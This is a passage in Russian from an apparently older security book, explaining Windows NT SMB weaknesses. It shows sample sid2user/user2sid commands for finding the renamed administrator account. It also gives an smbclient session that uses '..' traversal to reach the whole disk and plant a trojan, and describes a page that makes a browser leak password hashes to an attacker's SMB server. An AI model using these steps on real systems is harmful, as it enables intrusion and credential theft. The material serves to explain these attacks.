Например, чтобы найти настоящее имя администратора (для большей безопасности Microsoft рекомендует его переименовывать), можно использовать примерную схему:
1. Осуществить поиск любого стандартного имени на удаленном компьютере, к примеру "Domain Users":
>user2sid \\194.94.94.94 «Domain users»,
что выдаст, например: S-1-5-21-111111111-22222222-33333333-513, то есть ведомство 5, подразделение 21-111111111-22222222-33333333, RID 513. 2. Найти имя администратора (он же входит в пользователи домена, а RID всегда один и тот же!):
>sid2user \\194.94.94.94 5 21 111111111 22222222 33333333 500
Name is Vovse_Ne_Administrator
Domain is Vovse_Ne_Domain
Type of SID is SidTypeUser
Далее можно просмотреть всех остальных пользователей и, более того, отследить временную иерархию их создания или удаления.
Несколько похоже на получение информации о системе через finger, не так ли? С одним маленьким дополнением – службу finger запретить легко, а здесь ничего не сделать.
Протокол SMB в глобальных сетях
Протокол SMB известен давно и имеет несколько диалектов – от PC Network Program, предназначенного для сетевых расширений DOS, до NT LM 0.12, применяемого уже в Windows NT. К сожалению, с точки зрения безопасности эти диалекты совместимы снизу-вверх, точнее, серверу приходится поддерживать несколько из них. Это приводит, например, к такой простой атаке, как указание клиенту передавать пароль в открытом виде, потому что сервер якобы не поддерживает зашифрованные пароли. Естественно, роль сервера здесь выполняет ложный сервер злоумышленника (см. главу 3).
Из-за поддержки устаревших с точки зрения безопасности сетевых решений SMB может быть подвержен атаке на получение доступа ко всему диску, если у злоумышленника есть права только на его часть (каталог). Для этого взломщику достаточно указать имя каталога через «..» [19]. Успех атаки заключен в том, что проверка правильности вводимого имени производится не на сервере, а на клиенте. Windows-клиент не пропустит имя каталога, содержащее «..», но ведь возможно использовать, например, UNIX-клиент SMB, слегка его подправив, благо, он есть в исходных текстах. Действия кракера при наличии легального доступа к каталогу SOME_DIR могли бы выглядеть примерно так:
$smbclient \\\\VICTIM\\SOME_DIR -n TRUSTME -m LANMAN2 -U HACKER -I 194.94.94.94
smb: \> dir
smb: \> cd ..
smb: \..\> dir
smb: \..\> cd \..\..
smb: \..\..\> dir
smb: \..\..\> get config.sys -
smb: \..\..\> cd windows
smb: \..\..\windows\>
Далее злоумышленник может поместить в системный каталог Windows, например, «троянского» коня. Первоначальная реакция Microsoft: «Samba – это неправильный клиент, и он не должен быть использован». Аналогичные попытки делает и NAT (NetBIOS Auditing Tool) – распространенное средство анализа безопасности для Windows-сетей. Вот фрагмент его исходного текста:
strcpy (cur_dir, «..\\*.*»);
do_dir (inbuf, outbuf, cur_dir, fattr, cmp_stash, False);
tested_stash = 0;
strcpy (cur_dir, "\\..\\*.*");
do_dir (inbuf, outbuf, cur_dir, fattr, cmp_stash, False);
tested_stash = 0;
strcpy (cur_dir, "...\\*.*");
do_dir (inbuf, outbuf, cur_dir, fattr, cmp_stash, False);
tested_stash = 0;
strcpy (cur_dir, ".\\...\\*.*");
Вообще, ошибки, связанные с подменой файлов через относительные пути, становятся сильно распространенными. Все крупные производители серверов для Windows NT их допустили, по крайней мере, по одному разу (см. главу 10). Что касается вышеприведенного фрагмента, то он датирован 17.02.97. Как видно, автор NAT прекрасно был осведомлен о возможности доступа к каталогу в Windows 95 (в Windows NT такой возможности нет), лежащему двумя уровнями выше, через «…». Только почти два года спустя эта «особенность» Windows 95 стала хорошо известна, когда таким же образом удалось получить доступ ко всему диску путем указания URL вида http://www.victim.com/…/.
Попытки использовать SMB в качестве протокола для глобальных сетей приводят и к другим весьма серьезным уязвимостям. Оказывается, можно, например, удаленно получить имя и хэшированный пароль пользователя без его ведома. И в самом деле, указав в HTML-странице ссылку вида: , злоумышленник заставит ваш браузер присоединиться к SMB-серверу hacker.com. Windows NT позволяет сделать это, даже не спрашивая пользователя о подтверждении: она просто передает имя и хэшированный пароль на сервер! Такой атаке подвержена Windows NT версий 3.51 и 4.0 вплоть до последних Service Pack, в качестве браузера может выступать любой – Microsoft Internet Explorer или Netscape Navigator от вторых версий до четвертых. Это и не удивительно, так как уязвимость является фундаментальной и исправить ее любым Service Pack практически невозможно, надо серьезно пересматривать сам процесс идентификации-аутентификации SMB-клиента на сервере.
Получается, свершилось то, о чем даже не мечтали UNIX-хакеры! Можно удаленно «стянуть» имя и зашифрованный пароль пользователя, правда, эта атака пассивна – незадачливый «клиент» сам заходит на враждебный сайт, а не наоборот.
Читать дальше
Конец ознакомительного отрывка
Купить книгу